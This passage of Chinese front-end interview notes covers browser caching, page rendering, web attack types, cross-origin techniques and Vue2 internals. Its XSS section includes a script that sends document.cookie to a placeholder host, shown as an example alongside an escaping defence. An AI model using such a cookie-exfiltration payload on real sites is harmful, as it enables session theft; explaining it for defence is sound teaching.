  • Push CacheHTTP/2 中的内容,当以上三种缓存都没有命中时,它才会被使用。并且缓存时间也很短暂,只在会话(Session)中存在,一旦会话结束就被释放。
  • Push Cache 在国内能够查到的资料很少,也是因为 HTTP/2 在国内不够普及,但是 HTTP/2 将会是日后的一个趋势

结论

  • 所有的资源都能被推送,但是 EdgeSafari 浏览器兼容性不怎么好
  • 可以推送 no-cacheno-store 的资源
  • 一旦连接被关闭,Push Cache 就被释放
  • 多个页面可以使用相同的 HTTP/2 连接,也就是说能使用同样的缓存
  • Push Cache 中的缓存只能被使用一次
  • 浏览器可以拒绝接受已经存在的资源推送
  • 你可以给其他域名推送资源

1.5 网络请求

  • 如果所有缓存都没有命中的话,那么只能发起请求来获取资源了。
  • 那么为了性能上的考虑,大部分的接口都应该选择好缓存策略,接下来我们就来学习缓存策略这部分的内容

2 缓存策略

通常浏览器缓存策略分为两种:强缓存和协商缓存,并且缓存策略都是通过设置 HTTP Header 来实现的

2.1 强缓存

强缓存可以通过设置两种 HTTP Header 实现:ExpiresCache-Control 。强缓存表示在缓存期间不需要请求,state code200

Expires

Expires: Wed, 22 Oct 2018 08:41:00 GMT

ExpiresHTTP/1 的产物,表示资源会在 Wed, 22 Oct 2018 08:41:00 GMT 后过期,需要再次请求。并且 Expires 受限于本地时间,如果修改了本地时间,可能会造成缓存失效。

Cache-control

Cache-control: max-age=30
  • Cache-Control 出现于 HTTP/1.1,优先级高于 Expires 。该属性值表示资源会在 30 秒后过期,需要再次请求。
  • Cache-Control 可以在请求头或者响应头中设置,并且可以组合使用多种指令

从图中我们可以看到,我们可以将多个指令配合起来一起使用,达到多个目的。比如说我们希望资源能被缓存下来,并且是客户端和代理服务器都能缓存,还能设置缓存失效时间等

一些常见指令的作用

2.2 协商缓存

  • 如果缓存过期了,就需要发起请求验证资源是否有更新。协商缓存可以通过设置两种 HTTP Header 实现:Last-ModifiedETag
  • 当浏览器发起请求验证资源时,如果资源没有做改变,那么服务端就会返回 304 状态码,并且更新浏览器缓存有效期。

Last-Modified 和 If-Modified-Since

Last-Modified 表示本地文件最后修改日期,If-Modified-Since 会将 Last-Modified 的值发送给服务器,询问服务器在该日期后资源是否有更新,有更新的话就会将新的资源发送回来,否则返回 304 状态码。

但是 Last-Modified 存在一些弊端:

  • 如果本地打开缓存文件,即使没有对文件进行修改,但还是会造成 Last-Modified 被修改,服务端不能命中缓存导致发送相同的资源
  • 因为 Last-Modified 只能以秒计时,如果在不可感知的时间内修改完成文件,那么服务端会认为资源还是命中了,不会返回正确的资源 因为以上这些弊端,所以在 HTTP / 1.1 出现了 ETag

ETag 和 If-None-Match

  • ETag 类似于文件指纹,If-None-Match 会将当前 ETag 发送给服务器,询问该资源 ETag 是否变动,有变动的话就将新的资源发送回来。并且 ETag 优先级比 Last-Modified 高。

以上就是缓存策略的所有内容了,看到这里,不知道你是否存在这样一个疑问。如果什么缓存策略都没设置,那么浏览器会怎么处理?

对于这种情况,浏览器会采用一个启发式的算法,通常会取响应头中的 Date 减去 Last-Modified 值的 10% 作为缓存时间。

2.3 实际场景应用缓存策略

频繁变动的资源

对于频繁变动的资源,首先需要使用 Cache-Control: no-cache 使浏览器每次都请求服务器,然后配合 ETag 或者 Last-Modified 来验证资源是否有效。这样的做法虽然不能节省请求数量,但是能显著减少响应数据大小。

代码文件

这里特指除了 HTML 外的代码文件,因为 HTML 文件一般不缓存或者缓存时间很短。

一般来说,现在都会使用工具来打包代码,那么我们就可以对文件名进行哈希处理,只有当代码修改后才会生成新的文件名。基于此,我们就可以给代码文件设置缓存有效期一年 Cache-Control: max-age=31536000,这样只有当 HTML 文件中引入的文件名发生了改变才会去下载最新的代码文件,否则就一直使用缓存

更多缓存知识详解 http://blog.poetries.top/2019/01/02/browser-cache

# 从输入URL 到网页显示的完整过程

  • 网络请求
    • DNS查询(得到IP),建立TCP连接(三次握手)
    • 浏览器发送HTTP请求
    • 收到请求响应,得到HTML源码。继续请求静态资源
      • 在解析HTML过程中,遇到静态资源(JSCSS、图片等)还会继续发起网络请求
      • 静态资源可能有缓存
  • 解析:字符串=>结构化数据
    • HTML构建DOM
    • CSS构建CSSOM树(style tree
    • 两者结合,形成render tree
    • 优化解析
      • CSS放在<head/>中,不要异步加载CSS
      • JS放到<body/>下面,不阻塞HTML解析(或结合deferasync
      • <img />提前定义widthheight,避免页面重新渲染
  • 渲染:Render Tree绘制到页面
    • 计算DOM的尺寸、定位,最后绘制到页面
    • 遇到JS会执行,阻塞HTML解析。如果设置了defer,则并行下载JS,等待HTML解析完,在执行JS;如果设置了async,则并行下载JS,下载完立即执行,在继续解析HTMLJS是单线程的,JS执行和DOM渲染互斥,等JS执行完,在解析渲染DOM
    • 异步CSS、异步图片,可能会触发重新渲染

连环问:网页重绘repaint和重排reflow有什么区别

  • 重绘
    • 元素外观改变:如颜色、背景色
    • 但元素的尺寸、定位不变,不会影响其他元素的位置
  • 重排
    • 重新计算尺寸和布局,可能会影响其他元素的位置
    • 如元素高度的增加,可能会使相邻的元素位置改变
    • 重排必定触发重绘,重绘不一定触发重排。重绘的开销较小,重排的代价较高。
    • 减少重排的方法
      • 使用BFC特性,不影响其他元素位置
      • 频繁触发(resizescroll)使用节流和防抖
      • 使用createDocumentFragment批量操作DOM
      • 编码上,避免连续多次修改,可通过合并修改,一次触发
      • 对于大量不同的 dom 修改,可以先将其脱离文档流,比如使用绝对定位,或者 display:none,在文档流外修改完成后再放回文档里中
      • 动画实现的速度的选择,动画速度越快,回流次数越多,也可以选择使用 requestAnimationFrame
      • css3 硬件加速,transformopacityfilters,开启后,会新建渲染层

# 常见的web前端攻击方式有哪些

XSS

  • Cross Site Script 跨站脚本攻击
  • 手段:黑客将JS代码插入到网页内容中,渲染时执行JS代码
  • 预防:特殊字符串替换(前端或后端)
// 用户提交
const str = `
  <p>123123</p>
  <script>
      var img = document.createElement('image')
      // 把cookie传递到黑客网站 img可以跨域
      img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
  </script>
`
const newStr = str.replaceAll('<', '&lt;').replaceAll('>', '&gt;')
// 替换字符,无法在页面中渲染
//   &lt;script&gt;
//     var img = document.createElement('image')
//     img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
// &lt;/script&gt;

CSRF

  • Cross Site Request Forgery 跨站请求伪造
  • 手段:黑盒诱导用户去访问另一个网站的接口,伪造请求
  • 预防:严格的跨域限制 + 验证码机制
    • 判断 referer
    • cookie设置sameSite属性,禁止第三方网页跨域的请求能携带上cookie
    • token
    • 关键接口使用短信验证码

注意:偷取cookieXSS做的事,CSRF的作用是借用cookie,并不能获取cookie

CSRF攻击攻击原理及过程如下:

  • 用户登录了A网站,有了cookie
  • 黑盒诱导用户到B网站,并发起A网站的请求
  • A网站的API发现有cookie,会在请求中携带A网站的cookie,认为是用户自己操作的

点击劫持

  • 手段:诱导界面上设置透明的iframe,诱导用户点击
  • 预防:让iframe不能跨域加载

DDOS

  • Distribute denial-of-service 分布式拒绝服务
  • 手段:分布式的大规模的流量访问,使服务器瘫痪
  • 预防:软件层不好做,需硬件预防(如阿里云的WAF 购买高防)

SQL注入

  • 手段:黑客提交内容时,写入sql语句,破坏数据库
  • 预防:处理内容的输入,替换特殊字符

# 跨域方案

因为浏览器出于安全考虑,有同源策略。也就是说,如果协议域名端口有一个不同就是跨域,Ajax 请求会失败。

我们可以通过以下几种常用方法解决跨域的问题

4.1 JSONP

JSONP 的原理很简单,就是利用 <script>标签没有跨域限制的漏洞。通过 <script>标签指向一个需要访问的地址并提供一个回调函数来接收数据

涉及到的端

JSONP 需要服务端和前端配合实现。

<script src="http://domain/api?param1=a&param2=b&callback=jsonp"></script>
<script>
    function jsonp(data) {
    	console.log(data)
	}
</script>    

JSONP 使用简单且兼容性不错,但是只限于 get 请求

具体实现方式

  • 在开发中可能会遇到多个 JSONP 请求的回调函数名是相同的,这时候就需要自己封装一个 JSONP,以下是简单实现
function jsonp(url, jsonpCallback, success) {
  let script = document.createElement("script");
  script.src = url;
  script.async = true;
  script.type = "text/javascript";
  window[jsonpCallback] = function(data) {
    success && success(data);
  };
  document.body.appendChild(script);
}
jsonp(
  "http://xxx",
  "callback",
  function(value) {
    console.log(value);
  }
);

4.2 CORS

CORS (Cross-Origin Resource Sharing,跨域资源共享) 是目前最为广泛的解决跨域问题的方案。方案依赖服务端/后端在响应头中添加 Access-Control-Allow-* 头,告知浏览器端通过此请求

涉及到的端

CORS 只需要服务端/后端支持即可,不涉及前端改动

  • CORS需要浏览器和后端同时支持。IE 89 需要通过 XDomainRequest 来实现。
  • 浏览器会自动进行 CORS 通信,实现CORS通信的关键是后端。只要后端实现了 CORS,就实现了跨域。
  • 服务端设置 Access-Control-Allow-Origin 就可以开启 CORS。 该属性表示哪些域名可以访问资源,如果设置通配符则表示所有网站都可以访问资源。

CORS 实现起来非常方便,只需要增加一些 HTTP 头,让服务器能声明允许的访问来源

只要后端实现了 CORS,就实现了跨域

koa框架举例

添加中间件,直接设置Access-Control-Allow-Origin请求头

app.use(async (ctx, next)=> {
  ctx.set('Access-Control-Allow-Origin', '*');
  ctx.set('Access-Control-Allow-Headers', 'Content-Type, Content-Length, Authorization, Accept, X-Requested-With , yourHeaderFeild');
  ctx.set('Access-Control-Allow-Methods', 'PUT, POST, GET, DELETE, OPTIONS');
  if (ctx.method == 'OPTIONS') {
    ctx.body = 200; 
  } else {
    await next();
  }
})

具体实现方式

CORS 将请求分为简单请求(Simple Requests)和需预检请求(Preflighted requests),不同场景有不同的行为

  • 简单请求:不会触发预检请求的称为简单请求。当请求满足以下条件时就是一个简单请求:
    • 请求方法:GETHEADPOST
    • 请求头:AcceptAccept-LanguageContent-LanguageContent-Type
      • Content-Type 仅支持:application/x-www-form-urlencodedmultipart/form-datatext/plain
  • 需预检请求:当一个请求不满足以上简单请求的条件时,浏览器会自动向服务端发送一个 OPTIONS 请求,通过服务端返回的Access-Control-Allow-* 判定请求是否被允许

CORS 引入了以下几个以 Access-Control-Allow-* 开头:

  • Access-Control-Allow-Origin 表示允许的来源
  • Access-Control-Allow-Methods 表示允许的请求方法
  • Access-Control-Allow-Headers 表示允许的请求头
  • Access-Control-Allow-Credentials 表示允许携带认证信息

当请求符合响应头的这些条件时,浏览器才会发送并响应正式的请求

4.3 nginx反向代理

反向代理只需要服务端/后端支持,几乎不涉及前端改动,只用切换接口即可

nginx 配置跨域,可以为全局配置和单个代理配置(两者不能同时配置)

  1. 全局配置,在nginx.conf文件中的 http 节点加入跨域信息
http {
  # 跨域配置
  add_header 'Access-Control-Allow-Origin' '$http_origin' ;
  add_header 'Access-Control-Allow-Credentials' 'true' ;
  add_header 'Access-Control-Allow-Methods' 'PUT,POST,GET,DELETE,OPTIONS' ;
  add_header 'Access-Control-Allow-Headers' 'Content-Type,Content-Length,Authorization,Accept,X-Requested-With' ;
}
  1. 局部配置(单个代理配置跨域), 在路径匹配符中加入跨域信息
server {
  listen       8080;
  server_name  server_name;

  charset utf-8;

  location / {
    # 这里配置单个代理跨域,跨域配置
    add_header 'Access-Control-Allow-Origin' '$http_origin' ;
    add_header 'Access-Control-Allow-Credentials' 'true' ;
    add_header 'Access-Control-Allow-Methods' 'PUT,POST,GET,DELETE,OPTIONS' ;
    add_header 'Access-Control-Allow-Headers' 'Content-Type,Content-Length,Authorization,Accept,X-Requested-With' ;

    #配置代理 代理到本机服务端口
    proxy_pass http://127.0.0.1:9000;
    proxy_redirect   off;
    proxy_set_header Host $host:$server_port;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  }
}

4.4 Node 中间层接口转发

const router = require('koa-router')()
const rp = require('request-promise');

// 通过node中间层转发实现接口跨域
router.post('/github', async (ctx, next) => {
  let {category = 'trending',lang = 'javascript',limit,offset,period} = ctx.request.body 
  lang = lang || 'javascript'
  limit = limit || 30
  offset = offset || 0
  period = period || 'week'
  try {
    let res =  await rp({
      method: 'POST',
      // 跨域的接口
      uri: `https://e.juejin.cn/resources/github`,
      body: {
        category,
        lang,
        limit,
        offset,
        period
      },
      json: true
    })
    
    ctx.body = res
  } catch(error) {
    ctx.body = {
      code: -1,
      message: error.message || '查询github接口失败'
    }
  }
})

module.exports = router

4.5 Proxy

如果是通过vue-cli脚手架工具搭建项目,我们可以通过webpack为我们起一个本地服务器作为请求的代理对象

通过该服务器转发请求至目标服务器,得到结果再转发给前端,但是最终发布上线时如果web应用和接口服务器不在一起仍会跨域

vue.config.js文件,新增以下代码

module.exports = {
    devServer: {
      host: '127.0.0.1',
      port: 8080,
      open: true,// vue项目启动时自动打开浏览器
      proxy: {
        '/api': { // '/api'是代理标识,用于告诉node,url前面是/api的就是使用代理的
            target: "http://xxx.xxx.xx.xx:8080", //目标地址,一般是指后台服务器地址
            changeOrigin: true, //是否跨域
            pathRewrite: { // pathRewrite 的作用是把实际Request Url中的'/api'用""代替
                '^/api': "" 
            }
        }
      }
    }
}

通过axios发送请求中,配置请求的根路径

axios.defaults.baseURL = '/api'

此外,还可通过服务端实现代理请求转发,以express框架为例

var express = require('express');
const proxy = require('http-proxy-middleware')
const app = express()
app.use(express.static(__dirname + '/'))
app.use('/api', proxy({ target: 'http://localhost:4000', changeOrigin: false
                      }));
module.exports = app

4.6 websocket

webSocket本身不存在跨域问题,所以我们可以利用webSocket来进行非同源之间的通信

原理:利用webSocketAPI,可以直接new一个socket实例,然后通过open方法内send要传输到后台的值,也可以利用message方法接收后台传来的数据。后台是通过new WebSocket.Server({port:3000})实例,利用message接收数据,利用send向客户端发送数据。具体看以下代码:

function socketConnect(url) {
    // 客户端与服务器进行连接
    let ws = new WebSocket(url); // 返回`WebSocket`对象,赋值给变量ws
    // 连接成功回调
    ws.onopen = e => {
      console.log('连接成功', e)
      ws.send('我发送消息给服务端'); // 客户端与服务器端通信
    }
    // 监听服务器端返回的信息
    ws.onmessage = e => {
      console.log('服务器端返回:', e.data)
      // do something
    }
    return ws; // 返回websocket对象
}
let wsValue = socketConnect('ws://121.40.165.18:8800'); // websocket对象

4.7 document.domain(不常用)

  • 该方式只能用于二级域名相同的情况下,比如 a.test.comb.test.com 适用于该方式。
  • 只需要给页面添加 document.domain = 'test.com' 表示二级域名都相同就可以实现跨域

4.8 postMessage(不常用)

在两个 origin 下分别部署一套页面 ABA 页面通过 iframe 加载 B 页面并监听消息,B 页面发送消息

这种方式通常用于获取嵌入页面中的第三方页面数据。一个页面发送消息,另一个页面判断来源并接收消息

// 发送消息端
window.parent.postMessage('message', 'http://test.com');
// 接收消息端
var mc = new MessageChannel();
mc.addEventListener('message', (event) => {
    var origin = event.origin || event.originalEvent.origin;
    if (origin === 'http://test.com') {
        console.log('验证通过')
    }
});

4.9 window.name(不常用)

主要是利用 window.name 页面跳转不改变的特性实现跨域,即 iframe 加载一个跨域页面,设置 window.name,跳转到同域页面,可以通过 $('iframe').contentWindow.name 拿到跨域页面的数据

实例说明

比如有一个www.example.com/a.html页面。需要通过a.html页面里的js来获取另一个位于不同域上的页面www.test.com/data.html中的数据。

data.html页面中设置一个window.name即可,代码如下

<script>
  window.name = "我是data.html中设置的a页面想要的数据";
</script>
  • 那么接下来问题来了,我们怎么把data.html页面载入进来呢,显然我们不能直接在a.html页面中通过改变window.location来载入data.html页面(因为我们现在需要实现的是a.html页面不跳转,但是也能够获取到data.html中的数据)
  • 具体的实现其实就是在a.html页面中使用一个隐藏的iframe来充当一个中间角色,由iframe去获取data.html的数据,然后a.html再去得到iframe获取到的数据。
  • 充当中间人的iframe想要获取到data.html中通过window.name设置的数据,只要要把这个iframesrc设置为www.test.com/data.html即可,然后a.html想要得到iframe所获取到的数据,也就是想要得到iframewidnow.name的值,还必须把这个iframesrc设置成跟a.html页面同一个域才行,不然根据同源策略,a.html是不能访问到iframe中的window.name属性的
<!-- a.html中的代码 -->
<iframe id="proxy" src="http://www.test.com/data.html" style="display: none;" onload = "getData()"> 

<script>
  function getData(){
    var iframe = document.getElementById('proxy);
    iframe.onload = function(){
      var data = iframe.contentWindow.name;
      //上述即为获取iframe里的window.name也就是data.html页面中所设置的数据;
    }
    iframe.src = 'b.html'; //这里的b为随便的一个页面,只有与a.html同源就行,目的让a.html等访问到iframe里的东西,设置成about:blank也行
  }
</script>

上面的代码只是最简单的原理演示代码,你可以对使用js封装上面的过程,比如动态的创建iframe,动态的注册各种事件等等,当然为了安全,获取完数据后,还可以销毁作为代理的iframe

4.10 扩展阅读

跨域与监控

前端项目在统计前端报错监控时会遇到上报的内容只有 Script Error 的问题。这个问题也是由同源策略引起。在 <script> 标签上添加 crossorigin="anonymous" 并且返回的 JS 文件响应头加上 Access-Control-Allow-Origin: * 即可捕捉到完整的错误堆栈

跨域与图片

前端项目在图片处理时可能会遇到图片绘制到 Canvas 上之后却不能读取像素或导出 base64 的问题。这个问题也是由同源策略引起。解决方式和上文相同,给图片添加 crossorigin="anonymous" 并在返回的图片文件响应头加上 Access-Control-Allow-Origin: * 即可解决

# 移动端H5点击有300ms延迟,该如何解决

解决方案

  • 禁用缩放,设置meta标签 user-scalable=no
  • 现在浏览器方案 meta中设置content="width=device-width"
  • fastclick.js

初期解决方案 fastClick

// 使用
window.addEventListener('load',()=>{
  FastClick.attach(document.body)
},false)

fastClick原理

  • 监听touchend事件(touchstart touchend会先于click触发)
  • 使用自定义DOM事件模拟一个click事件
  • 把默认的click事件(300ms之后触发)禁止掉

触摸事件的响应顺序

  • ontouchstart
  • ontouchmove
  • ontouchend
  • onclick

现代浏览器的改进

meta中设置content="width=device-width" 就不会有300ms的点击延迟了。浏览器认为你要在移动端做响应式布局,所以就禁止掉了

<head>
  <meta name="viewport" content="width=device-width,initial-scale=1.0" />
</head>

# 如何实现网页多标签tab通讯

  • 通过websocket
    • 无跨域限制
    • 需要服务端支持,成本高
  • 通过localStorage同域通讯(推荐)
    • 同域AB两个页面
    • A页面设置localStorage
    • B页面可监听到localStorage值的修改
  • 通过SharedWorker通讯
    • SharedWorkerWebWorker的一种
    • WebWorker可开启子进程执行JS,但不能操作DOM
    • SharedWorker可单独开启一个进程,用于同域页面通讯
    • SharedWorker兼容性不太好,调试不方便,IE11不支持

localStorage通讯例子

<!-- 列表页 -->
<p>localStorage message - list page</p>

<script>
  // 监听storage事件
  window.addEventListener('storage', event => {
    console.info('key', event.key)
    console.info('value', event.newValue)
  })
</script>
<!-- 详情页 -->
<p>localStorage message - detail page</p>

<button id="btn1">修改标题</button>

<script>
  const btn1 = document.getElementById('btn1')
  btn1.addEventListener('click', () => {
    const newInfo = {
      id: 100,
      name: '标题' + Date.now()
    }
    localStorage.setItem('changeInfo', JSON.stringify(newInfo))
  })

  // localStorage 跨域不共享
</script>

SharedWorker通讯例子

本地调试的时候打开chrome隐私模式验证,如果没有收到消息,打开chrome://inspect/#workers => sharedWorkers => 点击inspect

<p>SharedWorker message - list page</p>

<script>
  const worker = new SharedWorker('./worker.js')
  worker.port.onmessage = e => console.info('list', e.data)
</script>
<p>SharedWorker message - detail page</p>
<button id="btn1">修改标题</button>

<script>
  const worker = new SharedWorker('./worker.js')

  const btn1 = document.getElementById('btn1')
  btn1.addEventListener('click', () => {
    console.log('clicked')
    worker.port.postMessage('detail go...')
  })
</script>
// worker.js

/**
 * @description for SharedWorker
 */

const set = new Set()

onconnect = event => {
  const port = event.ports[0]
  set.add(port)

  // 接收信息
  port.onmessage = e => {
    // 广播消息
    set.forEach(p => {
      if (p === port) return // 不给自己广播
      p.postMessage(e.data)
    })
  }

  // 发送信息
  port.postMessage('worker.js done')
}

连环问:如何实现网页和iframe之间的通讯

  • 使用postMessage通信
  • 注意跨域的限制和判断,判断域名的合法性

演示

<!-- 首页 -->
<p>
  index page
  <button id="btn1">发送消息</button>
</p>

<iframe id="iframe1" src="./child.html"></iframe>

<script>
  document.getElementById('btn1').addEventListener('click', () => {
    console.info('index clicked')
    window.iframe1.contentWindow.postMessage('hello', '*') // * 没有域名限制
  })

  // 接收child的消息
  window.addEventListener('message', event => {
    console.info('origin', event.origin) // 来源的域名
    console.info('index received', event.data)
  })
</script>
<!-- 子页面 -->
<p>
  child page
  <button id="btn1">发送消息</button>
</p>

<script>
  document.getElementById('btn1').addEventListener('click', () => {
    console.info('child clicked')
    // child被嵌入到index页面,获取child的父页面
    window.parent.postMessage('world', '*') // * 没有域名限制
  })

  // 接收parent的消息
  window.addEventListener('message', event => {
    console.info('origin', event.origin) // 判断 origin 的合法性
    console.info('child received', event.data)
  })
</script>

效果

# requestIdleCallback和requestAnimationFrame有什么区别

react fiber引起的关注

  • 组件树转为链表,可分段渲染
  • 渲染时可以暂停,去执行其他高优先级任务,空闲时在继续渲染(JS是单线程的,JS执行的时候没法去DOM渲染)
  • 如何判断空闲?requestIdleCallback

区别

  • requestAnimationFrame 每次渲染完在执行,高优先级
  • requestIdleCallback 空闲时才执行,低优先级
  • 都是宏任务,要等待DOM渲染完后在执行

<p>requestAnimationFrame</p>

<button id="btn1">change</button>
<div id="box"></div>

<script>
  const box = document.getElementById('box')
  
  document.getElementById('btn1').addEventListener('click', () => {
  let curWidth = 100
  const maxWidth = 400

  function addWidth() {
    curWidth = curWidth + 3
    box.style.width = `${curWidth}px`
    if (curWidth < maxWidth) {
        window.requestAnimationFrame(addWidth) // 时间不用自己控制
    }
  }
  addWidth()
})
</script>
window.onload = () => {
  console.info('start')
  setTimeout(() => {
    console.info('timeout')
  })
  // 空闲时间才执行
  window.requestIdleCallback(() => {
    console.info('requestIdleCallback')
  })
  window.requestAnimationFrame(() => {
    console.info('requestAnimationFrame')
  })
  console.info('end')
}

// start
// end
// timeout
// requestAnimationFrame
// requestIdleCallback

# script标签的defer和async有什么区别

  • scriptHTML暂停解析,下载JS,执行JS,在继续解析HTML
  • deferHTML继续解析,并行下载JSHTML解析完在执行JS(不用把script放到body后面,我们在head<script defer>js脚本并行加载会好点)
  • asyncHTML继续解析,并行下载JS,执行JS加载完毕后立即执行),在继续解析HTML
    • 加载完毕后立即执行,这导致async属性下的脚本是乱序的,对于 script 有先后依赖关系的情况,并不适用

注意:JS是单线程的,JS解析线程和DOM解析线程共用同一个线程,JS执行和HTML解析是互斥的,加载资源可以并行

蓝色线代表网络读取,红色线代表执行时间,这俩都是针对脚本的;绿色线代表 HTML 解析

连环问:prefetch和dns-prefetch分别是什么

preload和prefetch

  • preload 资源在当前页面使用,会优先加载
  • prefetch 资源在未来页面使用,空闲时加载
<head>
  <!-- 当前页面使用 -->
  <link rel="preload" href="style.css" as="style" />
  <link rel="preload" href="main.js" as="script" />

  <!-- 未来页面使用 提前加载 比如新闻详情页 -->
  <link rel="prefetch" href="other.js" as="script" />

  <!-- 当前页面 引用css -->
  <link rel="stylesheet" href="style.css" />
</head>
<body>
  <!-- 当前页面 引用js -->
  <script src="main.js" defer></script>
</body>

dns-preftch和preconnect

  • dns-pretch DNS预查询
  • preconnect DNS预连接

通过预查询和预连接减少DNS解析时间

<head>
  <!-- 针对未来页面提前解析:提高打开速度 -->
  <link rel="dns-pretch" href="https://font.static.com" />
  <link rel="preconnect" href="https://font.static.com" crossorigin />
</head>

# 4 Vue2

# 响应式原理

响应式

  • 组件data数据一旦变化,立刻触发视图的更新
  • 实现数据驱动视图的第一步
  • 核心APIObject.defineProperty
    • 缺点
      • 深度监听,需要递归到底,一次计算量大
      • 无法监听新增属性、删除属性(使用Vue.setVue.delete可以)
      • 无法监听原生数组,需要重写数组原型
// 触发更新视图
function updateView() {
    console.log('视图更新')
}

// 重新定义数组原型
const oldArrayProperty = Array.prototype
// 创建新对象,原型指向 oldArrayProperty ,再扩展新的方法不会影响原型
const arrProto = Object.create(oldArrayProperty);
['push', 'pop', 'shift', 'unshift', 'splice'].forEach(methodName => {
    arrProto[methodName] = function () {
        updateView() // 触发视图更新
        oldArrayProperty[methodName].call(this, ...arguments)
        // Array.prototype.push.call(this, ...arguments)
    }
})

// 重新定义属性,监听起来
function defineReactive(target, key, value) {
    // 深度监听
    observer(value)

    // 核心 API
    Object.defineProperty(target, key, {
        get() {
            return value
        },
        set(newValue) {
            if (newValue !== value) {
                // 深度监听
                observer(newValue)

                // 设置新值
                // 注意,value 一直在闭包中,此处设置完之后,再 get 时也是会获取最新的值
                value = newValue

                // 触发更新视图
                updateView()
            }
        }
    })
}

// 监听对象属性
function observer(target) {
    if (typeof target !== 'object' || target === null) {
        // 不是对象或数组
        return target
    }

    // 污染全局的 Array 原型
    // Array.prototype.push = function () {
    //     updateView()
    //     ...
    // }

    if (Array.isArray(target)) {
        target.__proto__ = arrProto
    }

    // 重新定义各个属性(for in 也可以遍历数组)
    for (let key in target) {
        defineReactive(target, key, target[key])
    }
}

// 准备数据
const data = {
    name: 'zhangsan',
    age: 20,
    info: {
        address: 'shenzhen' // 需要深度监听
    },
    nums: [10, 20, 30]
}

// 监听数据
observer(data)

// 测试
// data.name = 'lisi'
// data.age = 21
// // console.log('age', data.age)
// data.x = '100' // 新增属性,监听不到 —— 所以有 Vue.set
// delete data.name // 删除属性,监听不到 —— 所有已 Vue.delete
// data.info.address = '上海' // 深度监听
data.nums.push(4) // 监听数组
// proxy-demo

// const data = {
//     name: 'zhangsan',
//     age: 20,
// }
const data = ['a', 'b', 'c']

const proxyData = new Proxy(data, {
    get(target, key, receiver) {
        // 只处理本身(非原型的)属性
        const ownKeys = Reflect.ownKeys(target)
        if (ownKeys.includes(key)) {
            console.log('get', key) // 监听
        }

        const result = Reflect.get(target, key, receiver)
        return result // 返回结果
    },
    set(target, key, val, receiver) {
        // 重复的数据,不处理
        if (val === target[key]) {
            return true
        }

        const result = Reflect.set(target, key, val, receiver)
        console.log('set', key, val)
        // console.log('result', result) // true
        return result // 是否设置成功
    },
    deleteProperty(target, key) {
        const result = Reflect.deleteProperty(target, key)
        console.log('delete property', key)
        // console.log('result', result) // true
        return result // 是否删除成功
    }
})

# vdom和diff算法

1. vdom

  • 背景
    • DOM操作非常耗时
    • 以前用jQuery,可以自行控制DOM操作时机,手动调整
    • VueReact是数据驱动视图,如何有效控制DOM操作
  • 解决方案VDOM
    • 有了一定的复杂度,想减少计算次数比较难
    • 能不能把计算,更多的转移为JS计算?因为JS执行速度很快
    • vdomJS模拟DOM结构,计算出最小的变更,操作DOM
  • 用JS模拟DOM结构
  • 通过snabbdom学习vdom
    • 简洁强大的vdom
    • vue2参考它实现的vdomdiff
    • snabbdom
      • h函数
      • vnode数据结构
      • patch函数
  • vdom总结
    • JS模拟DOM结构(vnode
    • 新旧vnode对比,得出最小的更新范围,有效控制DOM操作
    • 数据驱动视图模式下,有效控制DOM操作

2. diff算法

  • diff算法是vdom中最核心、最关键的部分
  • diff算法能在日常使用vue react中提现出来(如key

树的diff的时间复杂度O(n^3)

  • 第一,遍历tree1
  • 第二,遍历tree2
  • 第三,排序
  • 1000个节点,要计算1亿次,算法不可用

优化时间复杂度到O(n)

  • 只比较同一层级,不跨级比较
  • tag不想同,则直接删掉重建,不再深度比较
  • tagkey相同,则认为是相同节点,不再深度比较

diff过程细节

  • 新旧节点都有children,执行updateChildren diff对比
    • 开始和开始对比--头头
    • 结束和结束对比--尾尾
    • 开始和结束对比--头尾
    • 结束和开始对比--尾头
    • 以上四个都未命中:拿新节点 key ,能否对应上 oldCh 中的某个节点的 key
  • children有,旧children无:清空旧text节点,新增新children节点
  • children有,新children无:移除旧children
  • 否则旧text有,设置text为空

vdom和diff算法总结

  • 细节不重要,updateChildren的过程也不重要,不要深究
  • vdom的核心概念很重要:hvnodepatchdiffkey
  • vdom存在的价值更重要,数据驱动视图,控制dom操作
// snabbdom源码位于 src/snabbdom.ts
/* global module, document, Node */
import { Module } from './modules/module';
import vnode, { VNode } from './vnode';
import * as is from './is';
import htmlDomApi, { DOMAPI } from './htmldomapi';

type NonUndefined<T> = T extends undefined ? never : T;

function isUndef (s: any): boolean { return s === undefined; }
function isDef<A> (s: A): s is NonUndefined<A> { return s !== undefined; }

type VNodeQueue = VNode[];

const emptyNode = vnode('', {}, [], undefined, undefined);

function sameVnode (vnode1: VNode, vnode2: VNode): boolean {
  // key 和 sel 都相等
  // undefined === undefined // true
  return vnode1.key === vnode2.key && vnode1.sel === vnode2.sel;
}

function isVnode (vnode: any): vnode is VNode {
  return vnode.sel !== undefined;
}

type KeyToIndexMap = {[key: string]: number};

type ArraysOf<T> = {
  [K in keyof T]: Array<T[K]>;
}

type ModuleHooks = ArraysOf<Module>;

function createKeyToOldIdx (children: VNode[], beginIdx: number, endIdx: number): KeyToIndexMap {
  const map: KeyToIndexMap = {};
  for (let i = beginIdx; i <= endIdx; ++i) {
    const key = children[i]?.key;
    if (key !== undefined) {
      map[key] = i;
    }
  }
  return map;
}

const hooks: Array<keyof Module> = ['create', 'update', 'remove', 'destroy', 'pre', 'post'];

export { h } from './h';
export { thunk } from './thunk';

export function init (modules: Array<Partial<Module>>, domApi?: DOMAPI) {
  let i: number, j: number, cbs = ({} as ModuleHooks);

  const api: DOMAPI = domApi !== undefined ? domApi : htmlDomApi;

  for (i = 0; i < hooks.length; ++i) {
    cbs[hooks[i]] = [];
    for (j = 0; j < modules.length; ++j) {
      const hook = modules[j][hooks[i]];
      if (hook !== undefined) {
        (cbs[hooks[i]] as any[]).push(hook);
      }
    }
  }

  function emptyNodeAt (elm: Element) {
    const id = elm.id ? '#' + elm.id : '';
    const c = elm.className ? '.' + elm.className.split(' ').join('.') : '';
    return vnode(api.tagName(elm).toLowerCase() + id + c, {}, [], undefined, elm);
  }

  function createRmCb (childElm: Node, listeners: number) {
    return function rmCb () {
      if (--listeners === 0) {
        const parent = api.parentNode(childElm);
        api.removeChild(parent, childElm);
      }
    };
  }

  function createElm (vnode: VNode, insertedVnodeQueue: VNodeQueue): Node {
    let i: any, data = vnode.data;
    if (data !== undefined) {
